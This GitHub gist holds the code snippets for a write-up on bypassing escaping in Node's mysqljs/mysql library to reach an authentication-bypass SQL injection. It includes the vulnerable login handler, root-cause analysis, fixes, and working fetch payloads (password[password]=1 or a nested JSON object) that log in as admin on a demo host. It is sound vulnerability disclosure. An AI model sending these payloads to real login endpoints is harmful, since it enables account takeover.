Skip to content

Instantly share code, notes, and snippets.

@stypr
Last active May 23, 2022 13:13
Show Gist options
  • Select an option

  • Save stypr/9018faa89e96e0a6d4df5b917606cd05 to your computer and use it in GitHub Desktop.

Select an option

Save stypr/9018faa89e96e0a6d4df5b917606cd05 to your computer and use it in GitHub Desktop.

Revisions

  1. stypr revised this gist May 23, 2022. 5 changed files with 5 additions and 5 deletions.
    2 changes: 1 addition & 1 deletion demo_attack_demo_1.js
    Original file line number Diff line number Diff line change
    @@ -1,4 +1,4 @@
    fetch("https://sqli.demo.flatt.fe.gy/auth", {
    fetch("https://sqli.blog-demo.flatt.training/auth", {
    "headers": {
    "accept-language": "en-US,en;q=0.9,ko;q=0.8,ja;q=0.7",
    "cache-control": "max-age=0",
    2 changes: 1 addition & 1 deletion demo_attack_demo_2.js
    Original file line number Diff line number Diff line change
    @@ -1,4 +1,4 @@
    fetch("https://sqli.demo.flatt.fe.gy/auth", {
    fetch("https://sqli.blog-demo.flatt.training/auth", {
    headers: {
    "content-type": "application/x-www-form-urlencoded",
    },
    2 changes: 1 addition & 1 deletion demo_attack_demo_3.js
    Original file line number Diff line number Diff line change
    @@ -1,4 +1,4 @@
    fetch("https://sqli.demo.flatt.fe.gy/auth", {
    fetch("https://sqli.blog-demo.flatt.training/auth", {
    headers: {
    "content-type": "application/x-www-form-urlencoded",
    },
    2 changes: 1 addition & 1 deletion demo_attack_demo_4.js
    Original file line number Diff line number Diff line change
    @@ -4,7 +4,7 @@ data = {
    password: 1,
    },
    };
    fetch("https://sqli.demo.flatt.fe.gy/auth", {
    fetch("https://sqli.blog-demo.flatt.training/auth", {
    headers: {
    "content-type": "application/json",
    },
    2 changes: 1 addition & 1 deletion tldr_attack_snippet.js
    Original file line number Diff line number Diff line change
    @@ -11,7 +11,7 @@ data = {
    password: 1,
    },
    };
    fetch("https://sqli.demo.flatt.fe.gy/auth", {
    fetch("https://sqli.blog-demo.flatt.training/auth", {
    headers: {
    "content-type": "application/json",
    },
  2. stypr revised this gist Feb 21, 2022. 1 changed file with 1 addition and 0 deletions.
    1 change: 1 addition & 0 deletions README.md
    Original file line number Diff line number Diff line change
    @@ -0,0 +1 @@
    https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4
  3. stypr revised this gist Feb 18, 2022. 4 changed files with 46 additions and 0 deletions.
    7 changes: 7 additions & 0 deletions root_cause_query_1.sql
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,7 @@
    mysql> select password = `password` from accounts;
    +-----------------------+
    | password = `password` |
    +-----------------------+
    | 1 |
    +-----------------------+
    1 row in set (0.00 sec)
    7 changes: 7 additions & 0 deletions root_cause_query_2.sql
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,7 @@
    mysql> select password = `password` = 1 from accounts;
    +---------------------------+
    | password = `password` = 1 |
    +---------------------------+
    | 1 |
    +---------------------------+
    1 row in set (0.00 sec)
    21 changes: 21 additions & 0 deletions root_cause_query_3.sql
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,21 @@
    mysql> SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND password=`password`;
    +----+----------+------------------+------------------+
    | id | username | snipped_password | email |
    +----+----------+------------------+------------------+
    | 1 | admin | da923326 | admin@flatt.tech |
    +----+----------+------------------+------------------+
    1 row in set (0.00 sec)
    mysql> SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND password=`password`=1;
    +----+----------+------------------+------------------+
    | id | username | snipped_password | email |
    +----+----------+------------------+------------------+
    | 1 | admin | da923326 | admin@flatt.tech |
    +----+----------+------------------+------------------+
    1 row in set (0.00 sec)
    mysql> SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND 1;
    +----+----------+------------------+------------------+
    | id | username | snipped_password | email |
    +----+----------+------------------+------------------+
    | 1 | admin | da923326 | admin@flatt.tech |
    +----+----------+------------------+------------------+
    1 row in set (0.00 sec)
    11 changes: 11 additions & 0 deletions root_cause_run.sql
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,11 @@
    $ node main.js
    SELECT * FROM accounts WHERE username = 'admin' AND password = 12341234
    SELECT * FROM accounts WHERE username = 'admin' AND password = true
    SELECT * FROM accounts WHERE username = 'admin' AND password = '1995-12-17 03:24:00.000'
    SELECT * FROM accounts WHERE username = 'admin' AND password = `0` = 't', `1` = 'e', `2` = 's', `3` = 't', `4` = '_', `5` = 'p', `6` = 'a', `7` = 's', `8` = 's', `9` = 'w', `10` = 'o', `11` = 'r', `12` = 'd', `13` = '_', `14` = 's', `15` = 't', `16` = 'r', `17` = 'i', `18` = 'n', `19` = 'g'
    SELECT * FROM accounts WHERE username = 'admin' AND password = 'test_password_string'
    SELECT * FROM accounts WHERE username = 'admin' AND password = 'array_test_1', 'array_test_2'
    SELECT * FROM accounts WHERE username = 'admin' AND password = ('a', 'b'), ('c', 'd')
    SELECT * FROM accounts WHERE username = 'admin' AND password = `obj_key_1` = 'obj_val_1'
    SELECT * FROM accounts WHERE username = 'admin' AND password = NULL
    SELECT * FROM accounts WHERE username = 'admin' AND password = NULL
  4. stypr created this gist Feb 18, 2022.
    13 changes: 13 additions & 0 deletions demo_attack_demo_1.js
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,13 @@
    fetch("https://sqli.demo.flatt.fe.gy/auth", {
    "headers": {
    "accept-language": "en-US,en;q=0.9,ko;q=0.8,ja;q=0.7",
    "cache-control": "max-age=0",
    "content-type": "application/x-www-form-urlencoded",
    ...
    },
    ...
    "body": "username=admin&password=12341234test",
    "method": "POST",
    "mode": "cors",
    "credentials": "include"
    });
    13 changes: 13 additions & 0 deletions demo_attack_demo_2.js
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,13 @@
    fetch("https://sqli.demo.flatt.fe.gy/auth", {
    headers: {
    "content-type": "application/x-www-form-urlencoded",
    },
    body: "username=admin&password=12341234test",
    method: "POST",
    mode: "cors",
    credentials: "include",
    })
    .then((r) => r.text())
    .then((r) => {
    console.log(r);
    });
    13 changes: 13 additions & 0 deletions demo_attack_demo_3.js
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,13 @@
    fetch("https://sqli.demo.flatt.fe.gy/auth", {
    headers: {
    "content-type": "application/x-www-form-urlencoded",
    },
    body: "username=admin&password[password]=1",
    method: "POST",
    mode: "cors",
    credentials: "include",
    })
    .then((r) => r.text())
    .then((r) => {
    console.log(r);
    });
    19 changes: 19 additions & 0 deletions demo_attack_demo_4.js
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,19 @@
    data = {
    username: "admin",
    password: {
    password: 1,
    },
    };
    fetch("https://sqli.demo.flatt.fe.gy/auth", {
    headers: {
    "content-type": "application/json",
    },
    body: JSON.stringify(data),
    method: "POST",
    mode: "cors",
    credentials: "include",
    })
    .then((r) => r.text())
    .then((r) => {
    console.log(r);
    });
    31 changes: 31 additions & 0 deletions demo_vuln_snippet.js
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,31 @@
    app.post("/auth", function (request, response) {
    // Capture the input fields
    let username = request.body.username;
    let password = request.body.password;
    // Ensure the input fields exists and are not empty
    if (username && password) {
    // Execute SQL query that'll select the account from the database based on the specified username and password
    connection.query(
    "SELECT * FROM accounts WHERE username = ? AND password = ?",
    [username, password],
    function (error, results, fields) {
    // If there is an issue with the query, output the error
    if (error) throw error;
    // If the account exists
    if (results.length > 0) {
    // Authenticate the user
    request.session.loggedin = true;
    request.session.username = username;
    // Redirect to home page
    response.redirect("/home");
    } else {
    response.send("Incorrect Username and/or Password!");
    }
    response.end();
    }
    );
    } else {
    response.send("Please enter Username and Password!");
    response.end();
    }
    });
    36 changes: 36 additions & 0 deletions root_cause_sqlstring.js
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,36 @@
    SqlString.escape = function escape(val, stringifyObjects, timeZone) {
    if (val === undefined || val === null) {
    return 'NULL';
    }
    switch (typeof val) {
    case 'boolean': return (val) ? 'true' : 'false';
    case 'number': return val + '';
    case 'object':
    if (val instanceof Date) {
    return SqlString.dateToString(val, timeZone || 'local');
    } else if (Array.isArray(val)) {
    return SqlString.arrayToList(val, timeZone);
    } else if (Buffer.isBuffer(val)) {
    return SqlString.bufferToString(val);
    } else if (typeof val.toSqlString === 'function') {
    return String(val.toSqlString());
    } else if (stringifyObjects) {
    return escapeString(val.toString());
    } else {
    return SqlString.objectToValues(val, timeZone);
    }
    default: return escapeString(val);
    }
    };
    ...
    SqlString.objectToValues = function objectToValues(object, timeZone) {
    var sql = '';
    for (var key in object) {
    var val = object[key];
    if (typeof val === 'function') {
    continue;
    }
    sql += (sql.length === 0 ? '' : ', ') + SqlString.escapeId(key) + ' = ' + SqlString.escape(val, true, timeZone);
    }
    return sql;
    };
    44 changes: 44 additions & 0 deletions root_cause_typetest.js
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,44 @@
    /*
    main.js
    Test code for different types
    */
    var mysql = require("mysql");
    // connection
    var connection = mysql.createConnection({
    host: "localhost",
    user: "login",
    password: "login",
    database: "login",
    });
    // log query
    connection.on("enqueue", function (sequence) {
    if ("Query" === sequence.constructor.name) {
    console.log(sequence.sql);
    }
    });
    // username and password
    var username = "admin";
    var password_list = [
    12341234, // Numbers
    true, // Booleans
    new Date("December 17, 1995 03:24:00"), // Date
    new String("test_password_string"), // String Object
    "test_password_string", // String
    ["array_test_1", "array_test_2"], // Array
    [
    ["a", "b"],
    ["c", "d"],
    ], // Nested Array
    { obj_key_1: "obj_val_1" }, // Object
    undefined,
    null,
    ];
    // What will happen?
    for (i in password_list) {
    var sql = "SELECT * FROM accounts WHERE username = ? AND password = ?";
    connection.query(
    sql,
    [username, password_list[i]],
    function (error, results, fields) {}
    );
    }
    26 changes: 26 additions & 0 deletions tldr_attack_snippet.js
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,26 @@
    /*
    Running the following code in your browser will execute the following code in the backend.
    > SELECT * FROM accounts WHERE username = 'admin' AND password = `password` = 1;
    And the executed query will eventually be simplified into the following query
    > SELECT * FROM accounts WHERE username = 'admin' AND 1 = 1;
    > SELECT * FROM accounts WHERE username = 'admin';
    */
    data = {
    username: "admin",
    password: {
    password: 1,
    },
    };
    fetch("https://sqli.demo.flatt.fe.gy/auth", {
    headers: {
    "content-type": "application/json",
    },
    body: JSON.stringify(data),
    method: "POST",
    mode: "cors",
    credentials: "include",
    })
    .then((r) => r.text())
    .then((r) => {
    console.log(r);
    });
    15 changes: 15 additions & 0 deletions tldr_vulnerable_snippet.js
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,15 @@
    ...
    app.post("/auth", function (request, response) {
    var username = request.body.username;
    var password = request.body.password;
    if (username && password) {
    connection.query(
    "SELECT * FROM accounts WHERE username = ? AND password = ?",
    [username, password],
    function (error, results, fields) {
    ...
    }
    );
    }
    });
    ...
    5 changes: 5 additions & 0 deletions tldr_workaround_1.js
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,5 @@
    var connection = mysql.createConnection({
    ...,
    stringifyObjects: true,
    });
    ...
    19 changes: 19 additions & 0 deletions tldr_workaround_2.js
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,19 @@
    app.post("/auth", function (request, response) {
    var username = request.body.username;
    var password = request.body.password;
    // Reject different type
    if (typeof username != "string" || typeof password != "string"){
    response.send("Invalid parameters!");
    response.end();
    return;
    }
    if (username && password) {
    connection.query(
    "SELECT * FROM accounts WHERE username = ? AND password = ?",
    [username, password],
    function (error, results, fields) {
    ...
    }
    );
    }
    });
    8 changes: 8 additions & 0 deletions workaround_1_after.js
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,8 @@
    var connection = mysql.createConnection({
    host: "db",
    user: "login",
    password: "login",
    database: "login",
    stringifyObjects: true,
    });
    ...
    7 changes: 7 additions & 0 deletions workaround_1_before.js
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,7 @@
    var connection = mysql.createConnection({
    host: "db",
    user: "login",
    password: "login",
    database: "login",
    });
    ...
    19 changes: 19 additions & 0 deletions workaround_2_after.js
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,19 @@
    app.post("/auth", function (request, response) {
    var username = request.body.username;
    var password = request.body.password;
    // Reject different value types
    if (typeof username != "string" || typeof password != "string"){
    response.send("Invalid parameters!");
    response.end();
    return;
    }
    if (username && password) {
    connection.query(
    "SELECT * FROM accounts WHERE username = ? AND password = ?",
    [username, password],
    function (error, results, fields) {
    ...
    }
    );
    }
    });
    13 changes: 13 additions & 0 deletions workaround_2_before.js
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,13 @@
    app.post("/auth", function (request, response) {
    var username = request.body.username;
    var password = request.body.password;
    if (username && password) {
    connection.query(
    "SELECT * FROM accounts WHERE username = ? AND password = ?",
    [username, password],
    function (error, results, fields) {
    ...
    }
    );
    }
    });